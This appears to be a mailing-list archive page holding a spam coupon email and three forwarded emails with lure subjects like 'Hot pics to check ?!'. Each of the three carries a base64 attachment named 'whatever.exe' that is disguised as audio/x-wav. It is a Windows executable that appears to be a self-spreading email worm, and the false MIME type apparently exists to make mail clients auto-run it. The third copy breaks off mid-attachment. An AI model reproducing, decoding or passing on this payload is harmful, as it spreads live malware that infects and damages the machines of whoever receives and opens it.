From giftcaravan@usa.com Sun May 19 18:25:21 2002 From: giftcaravan@usa.com (giftcaravan@usa.com) Date: Sun, 19 May 2002 17:25:21 Subject: SAVE 40-50% at Gift Caravan - coupon included xp Message-ID: <20010519213652.79CEA255AE@www.haskell.org> ****************************************************************************** You are receiving this email because you or someone you know requested that you receive a special promotion from Gift Caravan, or you have been selected for this special promotion. To be removed from this list, please see below. ***************************************************************************** WELCOME to the Gift Caravan Super sale. For a limited time you can save BIG $$$ at Gift Caravan. Right now during our Spring sale you can save up to 50% on all items. Save on Home & Garden Decor, Candles and Votives, Collectibles, Porcelain Dolls, Wind Chimes, Trinket Boxes, Novelties and much, much more! Please accept the following coupon as a welcoming gift: # GCCB44 for a 20% discount Use this coupon to SAVE 20% Plus... Orders under $50 get additional 10% off. Orders over $50 get an additional 20% off. Orders over $100 get an additional 30% off. WOW! So, an order over $100 gets 30% off plus use the coupon above for another 20% off, for a total of 50% off. That's Savings... Coupon valid on all items. Visit us now! http://www.giftcaravan.com Coupon Code: GCCB44 HURRY! This is a limited time offer. Regards, Promo Dept http://www.giftcaravan.com ******************************************************************************* ALL Remove requests AUTOMATICALLY honored upon receipt Reply to the following email address offlist777@hotmail.com?subject=remove ******************************************************************************* From ag@ostu.ru Thu May 9 15:00:24 2002 From: ag@ostu.ru (Alex P.Gordienko) Date: Thu,22 Nov 2001 12:26:20 -0000 Subject: Fw: Re: Hot stuff - check it ! Message-ID: <200111220922.fAM9MG818232@gw.ostu.ru> This is a multi-part message in MIME format. --bound Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA= --bound-- From ag@ostu.ru Thu May 9 15:00:24 2002 From: ag@ostu.ru (Alex P.Gordienko) Date: Thu,22 Nov 2001 13:19:33 -0000 Subject: Fw: Re: many shit to check ?! Message-ID: <200111221015.fAMAFa818851@gw.ostu.ru> This is a multi-part message in MIME format. --bound Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA= --bound-- From ag@ostu.ru Thu May 9 15:00:24 2002 From: ag@ostu.ru (Alex P.Gordienko) Date: Thu,22 Nov 2001 13:20:24 -0000 Subject: Fw: Hot pics to check ?! Message-ID: <200111221016.fAMAGR818962@gw.ostu.ru> This is a multi-part message in MIME format. --bound Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable peace --bound Content-Type: audio/x-wav; name="whatever.exe" Content-Transfer-Encoding: base64 Content-ID: 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 